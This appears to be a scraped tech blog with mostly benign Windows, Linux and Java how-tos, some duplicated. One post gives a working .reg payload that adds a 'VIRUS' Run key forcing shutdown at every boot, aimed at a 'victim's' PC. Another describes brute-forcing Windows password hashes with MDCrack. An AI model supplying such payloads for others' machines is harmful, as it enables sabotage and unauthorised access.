Anand Tech-Forum

How to pxe boot to Ghost in 4 steps....

2013-02-12T01:11:00.000+05:30

Do all of these steps on your Ghost Server!!

1: Install 3Com PXE Boot Services

This is on the GHOST Installation CD under ‘extras’. If you don’t have the CD search for ‘master.exe’ in the ‘extras’ folder. By default, only the Administrator option is selected, which will install only the management tools. Remember to change this to Server during the install. Accept all other defaults.

After installation, start the 3Com PXE Server and 3Com TFTP Server services (services.msc). Set the startup type to Automatic.

2: Create a Network Boot Image

Start Ghost Boot Wizard, and select option: TCP/IP Network Boot Image. Select PC-DOS, then select the universal driver, and store the boot image in the C:\TFTPBOOT directory.

3: Create a PXE boot menu

Using the 3Com Boot Image Editor, select Create a PXE Menu Boot File.

Click Add and select Boot From Hard Drive as the default entry, then click Add again to create a second entry containing your boot image file (the .sys file you just created in step 2). Save the file.

4. Create an entry in the BootPTab control file

Start the 3Com BootPTab editor.

Delete the existing entries and go to Edit > Add Host… - add a wildcard host id "????????????" as a node identifier, and point it at the PXE Menu Boot File that you created in step 3.

Online MP3 Cutter

2013-02-12T00:45:00.003+05:30

you can cut any audio file online. No more complicated programs for cutting and creating ringtones for your mobile device.

Just three steps:

Just open the file (audio or video)
Adjust the interval and click "Cut"
Save the track on your computer’s hard drive

Note:

You can save the fragment you cut in M4R format which is supported by iPhone as a ringtone.

Click Here

Microsoft Windows Server 2012 Hardware Requirements

2012-12-03T21:16:00.002+05:30

Microsoft’s hardware requirements for Windows Server 2012 are absolutely ridiculously low.

Microsoft Windows Server 2012 Hardware Requirements

Throw a 32GB boot drive in my Intel Atom based pfsense appliance and the minimum specifications have been exceeded! I can tell you, Windows Server 2008 R2 on the Atom is a painful experience, so go get something faster if you are building a Windows Server 2012 machine. Sure, the Windows Server 2012 hardware requirement specs say you can do it, but would you really want to? I tried this with the release candidate and reached the same conclusion, spend a few dollars more and do not go Atom with Windows Server 2012. Note, I do have a very different opinion on the viability of the Atom platform for things like Linux web servers, but for Server 2012, get something a bit better.

Here are my recommendations:

Windows Server 2012 Hardware Recommendations

Windows Server 2012 Versions & Features

Command Line

2012-09-12T21:03:00.002+05:30

Convert scanned images into text online

2012-09-12T20:56:00.002+05:30

Convert scanned images into text online

Convert any scanned image into text using the free OCR online service Free OCR. The service supports any PDF, JPG, GIF, TIFF, or BMP file that is no larger than 2MB and once uploaded will convert and display the file results on the web page.

Free online OCR

Locate your computer

2012-09-12T20:49:00.002+05:30

if your laptop was stolen ... This trick can be useful. It will help you locate your computer to see who is using it and to take photos of the latter if you device comes with an integrated web cam ....

This software must be installed on your computer, so once the computer is stolen it will not be possible to use them!

Some software are still active if the computer has been formatted, others not.

PreyThis open source software is compatible: Mac, Linux, Windows, Android
http://preyproject.com/
Tutorial: http://www.papygeek.com/ ...

ComputraceOnehttp://www.practeo.ch/documents/absolute/French.zip
http://www.skppsc.ch/ ...

Locate PChttp://www.ligattsecurity.com/?option=com_content&task=view&id=2211&Itemid=234
http://fred-informatique.blogspot.com/ ...

UndercoverThis software works on Mac and iPhone
http://www.orbicule.com/undercover/

A website for stolen Macshttp://www.macbook-fr.com/annonces/machines_volees_article79.html

Make linux machine as a router

2012-07-02T23:12:00.000+05:30

Steps To Make Linux Machine as Router : -

Assumptions: eth0 is internet interface (connected to router for example) and eth1 connected to your internal lan (connected to your HUB/Switch for example).

My Linux eth0 --> Internet
box eth1 --> Lan

Step1. Turn on ip forwarding in kernel

open the file /etc/sysctl.conf and add/modify following line:

net.ipv4.ip_forward = 1

Step2. Save this configuration using below command

# sysctl -p

Step3.Step:3 Setup IP forwarding and Masquerading (to act as router), you need to use NAT option of iptables as follows (add following rules to your iptables shell script) :

# iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
# iptables --append FORWARD –in-interface eth1 -j ACCEPT

Step4. We are done with configuration part , Test it with ping or dig:

# ping ISPdomain.com
# dig yahoo.com

How To Set the static Route in Linux : -

Scenario :- We have two lan cards and assigned below mentioned ips

eth0 LAN network 172.0.0.0/8 - gateway IP – 172.8.2.65
eth1 ISP assigned network 202.54.22.128/28 - gateway IP – 202.54.22.129

So we can only ping /access to public server but not the another servers inside LAN , for the solution of this problem we will set the route with route command and static-route file.

Set route using route command

Type the following command:
# route add -net 172.0.0.0 netmask 255.0.0.0 gw 172.8.2.65 eth0
# route -n

The problem with the above 'route' command is that, when linux machine reboots it will forget static routes. So store them in configuration file:

# echo '10.0.0.0/8 via 10.8.2.65' >> /etc/sysconfig/network-scripts/route-eth0

Restart the network service

# service network restart

Verify new changes:

# route -n

# ping 172.8.2.65

# ping 172.8.2.10

# ping google.com

# traceroute google.com

# traceroute 172.8.2.10

Understanding Routing Table

What is Routing Table ?

Almost all computers and network devices connected to Internet use routing tables to compute the next hop for a packet. It is electronic table that is stored in a router or a networked computer. The routing table stores the routes (and in some cases, metrics associated with those routes) to particular network destinations. This information contains the topology of the network immediately around it. The construction of routing table is the primary goal of routing protocols and static routes.

Each Linux / UNIX / Windows or any computer that uses TCP/IP need to make routing decision. Routing table is used to control these decisions. To display routing table type the following command at UNIX / Linux shell prompt:

# netstat -r -n
OR
# route -n

Sample output:
Kernel IP routing table

Destination	Gateway	Genmask	Flags	Metric	Ref	Use	Iface
192.168.2.0	0.0.0.0	255.255.255.0	U	0	0	0	eth0
192.168.1.0	0.0.0.0	255.255.255.0	U	0	0	0	ra0
169.254.0.0	0.0.0.0	255.255.255.0	U	1000	0	0	eth0
0.0.0.0	0.0.0.0	0.0.0.0	UG	100	0	0	ra0

Flag G indicates path to route packets via a gateway. If you would like to visit yahoo.com from your computer you need to go via 192.168.1.1 gateway. This usually means that you have to set up a static route to the gateway beforehand. If you specify the address of one of your local interfaces, it will be used to decide about the interface to which the packets should be routed to. metric field used by routing daemons. This is required on large LAN and wan setups. The output of the kernel routing table is organized in the following columns:

Make A Bootable USB Without Any software for Win7

2012-05-01T21:05:00.000+05:30

Open Command Prompt

Click Start -> All Programs -> Accessories and right-click on Command Prompt. Select Run As Administrator

Type:

DISKPART

LIST DISK

SELECT DISK 1
CLEAN

CREATE PARTITION PRIMARY
SELECT PARTITION 1
ACTIVE
FORMAT FS=NTFS

ASSIGN
EXIT

Go back to your command prompt and type

your DVD drive with the install DVD, and U: is your USB drive:

       D:/BOOT/BOOTSECT.EXE /NT60 U:

Copy Everything

The final step can be done from My Computer. Just open up the installation DVD, highlight everything, and drag it over to your USB drive.

Auto Window Refresh

2012-03-28T22:49:00.003+05:30

Whenever you make a change to your windows you have to press F5 or do a manual refresh.
With this tweak you can tell windows to increase the rate at which it does the refreshing.
Navigate to the key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update. Create a newDWORD value,

or modify the existing value, named UpdateMode and set it to equal "0" for faster updates. Restart Windows for the change to take effect

Windows 7 Virtual Hard Disk as a Backup device

2012-03-28T22:46:00.001+05:30

You can create a VHD from the Disk Management Console

As you know, using external hard disks as backup devices has become very popular recently due to the fact that they are now relatively inexpensive to purchase or build. I use several of them for backups on my home and test systems.

The other day I was experimenting with Windows XP Mode on my Microsoft Windows 7 test system and was backing up my Windows XP Mode virtual machine and the accompanying virtual hard disk (VHD), when it occurred to me that I could use a VHD as a backup device.

Once I began experimenting with this technique, I knew that it would be perfect complement to my overall backup strategy. I don't trust a single backup device and like to have multiple backups just in case. Using VHDs, I can easily back up my data and then just copy the VHD file to another external device.

In this edition of the Windows Desktop Report, I'll show you how to create and use a VHD as a backup device.

Getting started
Because the technology is built right into the Windows 7 operating system, you don't have to install Windows Virtual PC to create a VHD - you can do it right from the Disk Management Console or even from the command line with the Diskpart command. Let's take a look at the procedure using the Disk Management Console. (I'll go over the Diskpart command procedure at a later time.)

To get started, click the Start button and type Diskmgmt.msc in the Start Search box and then press [Enter]. When the Disk Management Console appears, as shown, you're ready to create your VHD.

You'll then need to specify a location, name, and size for your VHD

Creating a VHD
Pull down the Action menu and select the Create a VHD command. When you do, you'll see the Create and Attach Virtual Hard Disk dialog box. You'll then need to specify a location and name by clicking the Browse button. You then will specify a size. The Size drop down will allow you to select the size of the VHD in MB, GB, and, TB. As you can see in Figure B, I set up a 40GB VHD called My VH Disk in the Documents folder.

You'll see a progress gauge at the bottom of the Disk Management Console window

You can specify the format be either Dynamically expanding or Fixed size. The latter is the default and is the option I chose for my VHD. A fixed size VHD will create a file that is the same size as the virtual disk. For example, if you create fixed VHD that is 40GB in size, the system will create a host file approximately 40GB in size.

A dynamically expanding VHD will create a file that at any given time is as large as the actual data written to it plus the size of the header and footer. For example, if you create a virtual hard disk that is 40GB in size, the system will create a host file approximately 80MB in size. As more data is written, the file dynamically increases in size by allocating more disk space from the host hard disk.

For the purposes of creating a virtual Back up device, either format is fine.

When you click OK, the Disk Management Console will begin creating the VHD. Depending on the size that you selected, it may take a little while to create the VHD. You'll see a progress gauge at the bottom of the Disk Management Console window, as shown.

When you select the command you'll see the Initialize Disk dialog box

Once the VHD is created, right click on its header panel on the left side and select the Initialize Disk command and you'll see the Initialize Disk dialog box, as shown. You'll see that your new disk is already selected and since the GPT partition style is designed for 2TB disks or Itanium-based computers, just go with the default MBR partition style and click OK.

When you select the command and you'll see the New Simple Volume Wizard

As you may know, MBR is the standard partitioning style that's been used on hard disks since the PC first came out. (Just FYI: MBR supports a maximum partition size of 2TB. GPT supports a maximum partition size of 256TB.)

Initializing the disk is a very quick operation. Once it is complete right click on right side and select the New Simple Volume command and you'll see the New Simple Volume Wizard, as shown.

When you complete the wizard, an AutoPlay dialog box will appear and prompt you to open the new drive

There are five steps in this wizard and you can just accept all the default settings and click through to the end. When you do, the disk will be formatted as an NTFS volume and an AutoPlay dialog box will appear and prompt you to open the new drive, as shown.

You can locate and copy your VHD file to multiple locations.

Implementing the VHD backup strategy
To back up your data to the VHD, you can simply copy the files and folders from your hard disk to the VHD or you can use Windows 7's Backup and Restore to actually create its backup file on the VHD. You can then locate the actual VHD file, as shown, and copy it to an external hard disk or to a network drive.

You can locate and copy your VHD file to multiple locations.

What Is PPPoE and bridge mode of ADSL Modem

2012-03-28T22:43:00.001+05:30

There are two ways to configure an ADSL modem for broadband connection. One in PPPoE (Point to Point Protocol over Ethernet) and the another is Bridge mode.
PPPoE Mode

In this mode the modem works as router and the PPPoE session terminates on WAN port of router. The PPPoE client is in built in the modem and allocated by BRAS server gets assigned to WAN port of modem. The Internal network has to use the private IP and for Internet access NATing happens in modem. In PPPoE mode the modem is configured in such a way that the user id and password are stored inside the Modem. Internet connection will be established as you switch on the Modem.

PPPoE Mode

Bridge Mode

In this mode the modem works as transparent Ethernet bridge and therefore you need to run the PPPoE client software ( for login authentication) on your PC/server. WIN XP systems have this feature inbuilt but for other operating systems you need to buy it from market. Some freeware like RASPPPoE, Enternet etc. are also available on the Internet.

bridge mode

Both the modes can be used as per the requirement and application. Here enumerating the main differences

PPPoE mode

1. User id and password stored inside the Modem.

2. Multiple PCs can be connected. For example most of the basic ADSL Modems having at least one ADSL port and one USB port. In PPPoE mode, can connect one PC to Ethernet port and one PC to USB port which enable simultaneous internet usage in both the PCs.

3. PPPoE mode is more secured.

4. For Torrents download, appropriate ports need to be forwarded.

Bridge Mode

1. In bridge mode user id and password to be entered in the dialer of computer.

2. Only single PC can be connected.

3. For torrents download port forwarding is not required.
4. Less secured because all the ports are open need good firewall to avoid virus infection.

Shutdown your friend's computer everytime it start............

2012-03-28T22:40:00.001+05:30

put this followin text in a .reg file and run it in the victims pc:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W

indows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

and remove the string value named VIRUS, restart you computer.

Windows Server 8 Member Server - ADAC Recycle Bin

2012-03-18T23:24:00.000+05:30

One nice thing is that some of the new features can easily run on a member server or workstation and work fine in your current domains. You don't need to convince anyone about a schema update or new Windows 8 Domain Controllers right now. Enjoy the new features with no risk (I'd argue there is not a lot of risk in adding a domain controller but I understand leadership wanting to wait on domain controllers)

One of those features is the AD Recycle Bin GUI. That is a nice addition that system administrators have been asking for since 2008 R2 was released. Your forest does have to be at 2008 R2 Forest Functional Level to enable the recycle bin.

Many people enabled and used the AD Recycle Bin in 2008 R2 There are even some 3rd party tools that can help and put a GUI front end around the Recycle Bin. In my opinion the GUI in Windows Server 8 is much nicer and is definitely a reason to add a Windows Server 8 member server now.

In my lab I have a 2008 R2 (forest functional level 2008 R2) Domain Controller and a Windows Server 8 Beta member server.

Windows 2008 R2 Domain

SIDE NOTE: As you can see my test domain is named USMCThanksForYourService.mil I've heard there might be some Marines stationed in Afghanistan reading this entry so a heartfelt thanks for all you all do. It takes a lot of courage to be in the military right now and you all are on the front lines. THANK YOU!!

SIDE NOTE II: Although I'm an Army vet I support all branches of the military. Any other military members reading my blog? Leave a comment, I'd love to hear from you.

So people don't think I'm cheating I'll first verify that the Recycle Bin is not enabled by using the powershell command Get-ADOptionalFeature -Filter {name -like "*Recycle Bin*"} If EnabledScopes is empty that indicates the Recycle Bin has not been enabled.

AD Recycle Bin not enabled

I also join the Windows Server 8 Beta machine to the domain.

Adding Windows 8 Server to the domain

Once the server is added to the USMCThanksForYourService.mil domain I have to install the Remote Server Administration Tools (RSAT) Feature for Active Directory so I can have access to the necessary AD tools and fetures.

Adding Roles and Features in Server Manager

Adding RSAT Features

Adding RSAT Features Part II

Once the RSAT tools have been installed you are ready to use Active Directory Administrative Center (ADAC) against your 2008 R2 domain.

You can enable the AD Recycle Bin from the GUI now instead of the old way using Powershell

Selecting ADAC from Server Manager in Windows 8

Enabling the AD Recycle Bin from Windows Server 8 Member Server ADAC

AD Recycle Bin Confirmation 1

AD Recycle Bin Confirmation 2

Just want to confirm that the AD Recycle Bin has been enabled. Notice this time the same command yielded an entry in "EnabledScopes"...success

AD Recycle Bin Enabled - Confirmation

A quick tutorial of the new feature now that it is enabled and the member server is up and ready to go.

As you can see there is a user named Dakota Meyer who is in the group "MedalofHonor"

A young contractor was really excited and lost his mind and accidentally deleted the account. Luckily the USMC leadership had allowed this Windows 8 Member Server and Dakota's account would be restored in a few clicks.

In ADAC Navigate to the Deleted Objects Container

Notice the deleted user is listed. Right click on the user for Restore Options

In ADAC we confirm that the user has been successfully restored

On the 2008 R2 DC the restore is confirmed using ADUC

Speed up Internet Explorer

2012-03-14T23:40:00.002+05:30

By default Internet Explorer does not allow more than 4 or 2 simultaneous sessions (HTTP 1.0/1.1) from the same source. You can, however, override this setting by adding few registry keys.
Execute the following two commands to add the required values.

REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v MaxConnectionsPer1_0Server /t REG_DWORD /d 20
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v MaxConnectionsPerServer /t REG_DWORD /d 20

How To Recover Local Administrator Password

2012-03-14T23:39:00.005+05:30

There are plenty of tools available on the net - commercial as well as free, which can be used for resetting/recovering the local administrator password, but this time when I ran into the issue, none that we used to have, worked. A user's machine running Windows 2003 Standard Edition was out of domain, and later we realized that the local administrator's password was already changed from the default one. Obviously user wasn't able to recall that password. Since the machine was also running the development environment, user requested not to reformat/reimage.
For these kind of scenarios, we almost always used Offline NT Password and Registry Editor http://home.eunet.no/~pnordahl/ntpasswd/, but for some reason, this utility failed to reset the password on this machine. I would assume, it failed because of the Windows OS architectural changes incorporated in XP SP2/W2K SP1.
While looking for an alternative I came across www.loginrecovery.com which offers a free bootable downloadable CD image of about 1.5 MB. Once booted, this utility shows all the local user accounts and their corresponding password hashes. According to the website, you are supposed to note down these hashes are they are displayed on the screen, in a text file and upload that file on their website. They take 2-3 days to revert with the password for free, and charge few dollars for immediate delivery.
Not willing to pay or wait for 2-3 days, I went ahead and started searching for free programs which can crack given MD5/LM/NTLM hashes, and came across MDCrack http://c3rb3r.openwall.net/mdcrack/. At first this utility crashed when I tried running on my XP with SP2 system. I had to set compatibility mode of this program to Windows 2000 to be able to run it successfully. Using the password hashes noted above in this program, chose appropriate algorithm (Algorithm - MD5/MD4/NTLM1), and let the program run brute force algorithm to decode the password.

How To Recover Local Administrator Password

2012-03-14T23:39:00.003+05:30

How To Recover Local Administrator Password

2012-03-14T23:39:00.001+05:30

There are plenty of tools available on the net - commercial as well as free, which can be used for resetting/recovering the local administrator password, but this time when I ran into the issue, none that we used to have, worked. A user's machine running Windows 2003 Standard Edition was out of domain, and later we realized that the local administrator's password was already changed from the default one. Obviously user wasn't able to recall that password. Since the machine was also running the development environment, user requested not to reformat/reimage.
For these kind of scenarios, we almost always used Offline NT Password and Registry Editorhttp://home.eunet.no/~pnordahl/ntpasswd/, but for some reason, this utility failed to reset the password on this machine. I would assume, it failed because of the Windows OS architectural changes incorporated in XP SP2/W2K SP1.
While looking for an alternative I came across www.loginrecovery.com which offers a free bootable downloadable CD image of about 1.5 MB. Once booted, this utility shows all the local user accounts and their corresponding password hashes. According to the website, you are supposed to note down these hashes are they are displayed on the screen, in a text file and upload that file on their website. They take 2-3 days to revert with the password for free, and charge few dollars for immediate delivery.
Not willing to pay or wait for 2-3 days, I went ahead and started searching for free programs which can crack given MD5/LM/NTLM hashes, and came across MDCrack http://c3rb3r.openwall.net/mdcrack/. At first this utility crashed when I tried running on my XP with SP2 system. I had to set compatibility mode of this program to Windows 2000 to be able to run it successfully. Using the password hashes noted above in this program, chose appropriate algorithm (Algorithm - MD5/MD4/NTLM1), and let the program run brute force algorithm to decode the password.

VBScript: Execute process remotely with WMI

2012-03-14T23:37:00.002+05:30

For our terminal/citrix servers we have to regularly run delprof command for deleting inactive user profiles to minimize disk space consumption. The annoying part is to login into each of the servers just to run this command. Even though delprof supports deleting profiles on remote servers with the switch /C:\\<computername>, but that runs terribly slow over WAN links.
A workaround is to remotely execute delprof (or for that matter any other command) on the remote server by using tools like PsExec which installs a temporary service on the remote machine to be able to execute process remotely, and unintalls the same service after the process finishes. Because of its dependency on installing a service, PsExec might not always be a viable option in production environment. So, what's an alternative now?
Enter WMI.
It offers the capability to execute process remotely with the limitation of not allowing any user interaction - the process will run in the background without showing any interface on user's session, which is a perfect feature for running silent installs or non-interactive processes, for example, delprof /q/i
Below is the code snippet which does the job.

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
intReturn = objWMIService.Create("delprof /q/i", Null, Null, intProcessID) This script also uses Popup function of WScript.Shell instance to display message box which disappears after specified seconds - great for showing quick status messages without waiting for any user interaction.
Here is the complete script which executes delprof command on the target server and shows before and after free space information at the end, on the client side.
Assumptions:

Delprof executable should already be installed on the target server.
Because the script also checks before and after free space on C: drive, it assumes that \Documents and Settings folder is located on server's C: drive.

Reference: http://www.microsoft.com/technet/scriptcenter/resources/qanda/dec06/hey1208.mspx
NOTE: For some weird reason, delprof command is case sensitive. Therefore, DELPROF /q/i does not recognize the "quiet" and "ignore" switches and still prompts: Delete inactive profiles on \\SERVERNAME? (Yes/No)

How To Uninstall RDP 6.0

2012-03-14T23:36:00.000+05:30

elated ideas or principles.

Friday, January 15, 2010

How applications run without using PATH variable

Ever wondered how some applications, for example Winword, Excel, Outlook, start automatically when called from 'Run' window without providing their complete path even though the system PATH variable doesn't have these applications' locations? The answer is in this registry key:
HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\
So the next time any of the applications do not start without the complete path but you are sure that it exists on the system, check that the registry should have the right information.
Thanks to Mohit Sharma for discovering this info! :)

Thursday, September 04, 2008

Strange Errors in Excel

Came across a very strange error message in Excel 2003 - "Your entry cannot be used. An integer or decimal number may be required" This message appeared whenever I tried changing font size in a cell/sheet or when tried moving from one tab to any other tab in Options window.
Eventually, it turned out that this issue was the result of missing Decimal symbol in Regional Settings. As soon the decimal symbol (.) was restored, this issue was resolved.

Thursday, July 12, 2007

Feedburner integrated with Blogger.com feeds

Feedburner now offers feeds integration for Blogger.com blogs. Gone are the days when one had to fiddle with the blogger template to replace blogger's default feed source with feedburner's feed link! Just go to the template page now and enter you feedburner feed source. Mind you, this configuration will not replace your default blooger feed source; it'll only redirect that link to feedburner's feed link. Also note that, apparently this configuration redirects only Atom feeds, and not RSS feeds.
This is just the begining of the services users will start to get with feedburner's acquisition by Google. Like, few days ago, feedburner announced two of its previously PRO (paid) services as freely available now - FeedBurner Stats PRO & MyBrand.

Labels: blog, tips

Active Directory Explorer v1.0 by Sysinternals

Sysinternals released a new tool for Active Diretory administrators called Active Directory Explorer v1.0

Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.
AD Explorer also includes the ability to save snapshots of an AD database for off-line viewing and comparisons. When you load a saved snapshot, you can navigate and explorer it as you would a live database. If you have two snapshots of an AD database you can use AD Explorer's comparison functionality to see what objects, attributes and security permissions changed between them.

Download page: http://www.microsoft.com/technet/sysinternals/utilities/adexplorer.mspx

Labels: Active Directory, sysinternals, windows

Wednesday, April 25, 2007

VBScript: Function Code to Convert Bytes to KB/MB/GB/TB

When querying for disk space sizes using WMI, it returns the numbers in bytes. These large numbers in bytes do not make much sense until they are converted into Kilobytes (KB), Megabyte (MB), Gigabyte (GB), or Terabyte (TB) and so on. Quite frequently I need to convert these sizes in bytes to KB/MB/GB/TB for better interpretation. I therefore created a quick VBScript function which I call inside VBScript code whenever I need to convert numbers in bytes to KB/MB/GB/TB.

Function ConvertSize(Size) Do While InStr(Size,",") 'Remove commas from size     CommaLocate = InStr(Size,",")     Size = Mid(Size,1,CommaLocate - 1) & _         Mid(Size,CommaLocate + 1,Len(Size) - CommaLocate) Loop
Suffix = " Bytes" If Size >= 1024 Then suffix = " KB" If Size >= 1048576 Then suffix = " MB" If Size >= 1073741824 Then suffix = " GB"
If Size >= 1099511627776 Then suffix = " TB" Select Case Suffix     Case " KB" Size = Round(Size / 1024, 1)     Case " MB" Size = Round(Size / 1048576, 1)     Case " GB" Size = Round(Size / 1073741824, 1)
    Case " TB" Size = Round(Size / 1099511627776, 1) End Select
ConvertSize = Size & Suffix End Function

Labels: code, tips, vbscript, wmi

Saturday, April 14, 2007

How To Uninstall RDP 6.0

I have been seeing couple of queries in few tech forums for uninstalling Remote Desktop Connection (RDP) 6.0, or how to revert to original version of XP SP2 RDP client (mstsc.exe version 5.1.2600.2180).
RDP 6.0 was released as a patch (KB925876), therefore, by default it doesn't appears as a seperate entry in Add/Remove list. To uninstall it, you'll have to click on the check box of "Show updates" in Add/Remove window, select "Update for Windows XP (KB925876)", and remove it.

Alternatively, you can also browse to the folder C:\WINDOWS\$NtUninstallKB925876$\spuninst\ and run spuninst.exe from there, which will uninstall RDP 6.0 client and revert to the older version.

Active Directory Explorer v1.0 by Sysinternals

2012-03-14T23:34:00.002+05:30

Sysinternals released a new tool for Active Diretory administrators called Active Directory Explorer v1.0

Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.
AD Explorer also includes the ability to save snapshots of an AD database for off-line viewing and comparisons. When you load a saved snapshot, you can navigate and explorer it as you would a live database. If you have two snapshots of an AD database you can use AD Explorer's comparison functionality to see what objects, attributes and security permissions changed between them.

Download page: http://www.microsoft.com/technet/sysinternals/utilities/adexplorer.mspx

Get Rid of http://x.action URL

2012-03-14T23:09:00.000+05:30

Change Struts URL extension suffix .do .action

If you notice, many web applications deployed over the web have .do or .action at the end of URL’s. One can deliberately use these kinds of url’s.

But usually it is the default behavior of the framework/tool being used then a deliberate attempt by the developer.

Struts based web applications are the widest of them to have .do or .action suffixes with URL’s.

That is because of the numerous tutorials and books have adopted .do as a convention for Struts 1 based applications. The same applied to Struts 2. The good news is that one can easily change or get rid of extension suffixes in Struts 1 and Struts2. A question then arises as to how come the suffixed come into the URL’s.

Struts 1

If we look at a form being written using Struts 1 tag libraries, it doesn’t have any .do or .action. Here is a sample form in a JSP page of a Struts based application.

As we can see that we are using the form tag of the struts-html tag library. So let us dig more into that tag by having a look at the struts-taglib.jar. Inside this library, look for org.apache.struts.taglib.html.FormTag.java

In the FormTag.java we can see the code for the attribute action:
After analyzing the code for FormTag.java, the URL pattern being used for mapping ActionServlet, is being used as the URL suffix by the custom tags.
In the web.xml we generally have something like this:


        actionServlet
        *.do

TO make all the URL to have suffix of .who instead of .do, change the mapping to:


        actionServlet
        *.who

Struts 2

But if we look at the web.xml for struts 2 based application, we have


        struts2D
        org.apache.struts2.dispatcher.FilterDispatcher
    
    
        struts2D
        /*

So from where .action does come from?
In case of Struts 2, the extension suffix comes from the property struts.action.extension.

The value for this property can be changed to any suitable value by setting this property in the struts.xml
An example for changing the URL's in case of Struts 2 to .do is given below:


 
      
 
     
       
         login.jsp

With the above structure in the struts.xml, all the URL's will have .do as the extension suffix. Similarly, to get rid of the extension suffix at all, use the following xml code in struts.xml


 
      
 
     
       
          login.jsp

Hope this tutorial will help people in customizing their applications while using the Struts framework.

Web Application - Automatically Show Login Page After Session Timeout

2012-03-14T22:59:00.001+05:30

Show Login Page After Session Timeout

One can define the session timeout time in the web.xml of a web application and can also set it programmatically by using the Session API.

The server automatically takes care of the session invalidation once the timeout has occurred with user don’t doing any activity.

But to make an application more user friendly, one should prompt user about the session being going to expire and proper message once the session has expired. Some applications will prefer to redirect the user to login page once the session has timed out.

All these features of session timeout detection are not supported by J2EE API’s. One needs to use JavaScript to show warning messages and redirect users.

There are many ways by using which the session timeout can be made more graceful. The two most used approaches are to use the timer functions in JavaScript or to use cookies.

With timer functions, an initial timer equal to the session timeout is set and the JavaScript function decrements the seconds and shows warning and directs user at appropriate time.

With cookies, two cookies with expiration time of warning time and session timeout time are created and a JavaScript function constantly polls for the existence of the cookies. If the cookies are not found, the corresponding actions are performed.
The sample code for both the approaches is shown below. The code is for showing warning messages only. You can create similar functions for handling the session timeout scenario. Also, please note that the code shown below is not of production quality is intended to give you the start only.

function alertUser(){
    var a_p = "";
    var d = new Date();
    var curr_hour = d.getHours();
    if (curr_hour < 12) {
        a_p = "AM";
    }
    else {
        a_p = "PM";
    }

    if (curr_hour == 0) {
        curr_hour = 12;
    }

    if (curr_hour > 12) {
        curr_hour = curr_hour - 12;
    }

    var curr_min = d.getMinutes();

    curr_min = curr_min + "";

    if (curr_min.length == 1) {
        curr_min = "0" + curr_min;
    }

    var curT=curr_hour+':'+curr_min+' '+a_p;
    document.getElementById('sessionExpirySpace').style.display='block';
    alert(You have been inactive and have not saved your work for last 10    Minutes.\n Please save your work in next 5 minutes to avoid  any Data Loss due to  Session timeout.');
}

Similarly for cookies based approach, the code should look something like:

function createCookie(name,value) {
    argv=arguments;
    argc=arguments.length;
    var today = new Date(); 
    today.setTime( today.getTime() );
    var expires=argv[2];
    expires = expires * 1000 * 60;
    var expires_date = new Date( today.getTime() + (expires) ); 
    path=(argc>3) ? argv[3] : null;
    domain=(argc>4) ? argv[4] : null;
    secure=(argc>5) ? argv[5] : false;
    document.cookie = name + "=" +escape( value ) + ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + ';path=/;';
    checkCookie('MyAPP','Test');
}
function checkCookie(name,value) {
    var today = new Date(); 
    var curr_hour = today.getHours();
    var curr_min = today.getMinutes();
    if (curr_min < 9) 
        curr_min = '0' + curr_min;

    var n=name;
    var i = document.cookie.indexOf(name);
    if(i==-1)
       alert('Dear User,Your session has been inactive and you have not saved your  work for the last 25 Minutes.\nPlease save your work within next 5 minutes.\n \t\t\t\t' +  ' (Message at'+ ' ' + curr_hour + ':' + curr_min + ' Hrs)');
    else
        setTimeout("checkCookie('MyAPP','Test')",10000);
}

There are other things to keep in mind like:
1) What if user opens a new tab and opens the website
2) What if the user manually logouts

About Daemon Threads in Java

2012-03-14T22:57:00.004+05:30

About Daemon Threads in Java

There can be two types of threads in Java viz User Thread and Daemon Thread. All the threads created by a user are user threads. A thread becomes Daemon thread when the user says so. User threads are meant for the program code.

On the other hand Daemon threads are service provider threads. They should not be used to run your program code but some system code. The run() method for a daemon thread is typically an infinite loop that waits for a service request. These threads run in parallel to your code but survive on the mercy of the JVM. When JVM finds no user threads it stops and all daemon threads are terminated instantly. Thus one should never rely on daemon code to perform any program code.

For better understanding consider a well known example of Daemon thread : Java garbage collector. The Garbage collector runs as a low priority daemon thread to reclaim any unused memory. When all user threads terminates, JVM may stop and garbage collector also terminates instantly.

Daemon threads are typically used to perform services for your application/applet. The core difference between user threads and daemon threads is that the JVM will only shut down a program when all user threads have terminated. Daemon threads are terminated by the JVM when there are no longer any user threads running, including the main thread of execution. Use daemons as the minions they are. This makes sense because when only daemon threads remain, there is no other thread for which a daemon thread can provide a service.

To specify that a thread is a daemon thread, call the setDaemon() method with the argument true. To determine if a thread is a daemon thread, use the accessor method isDaemon().

15 Must Know Java Interview Questions After 2 Years of Experience

2012-03-14T22:55:00.003+05:30

Interview Questions that every developer should have the answer

Enterprise Java Application development is growing every day and new features being introduced but the the beginners have always start from the basics. The questions listed below are what in general a Java developer should be able to answer after 2 years of experience. (Assuming no prior exposure to Java)

UPDATE: The answers can be found at http://bateru.com/news/2011/03/484/

Core Java

1) What is the purpose of serialization?

2) What is the difference between JDK and JRE?

3) What is the difference between equals and ==?

4) When will you use Comparator and Comparable interfaces?

5) What is the wait/notify mechanism?

6) What is the difference between checked and unchecked exceptions?

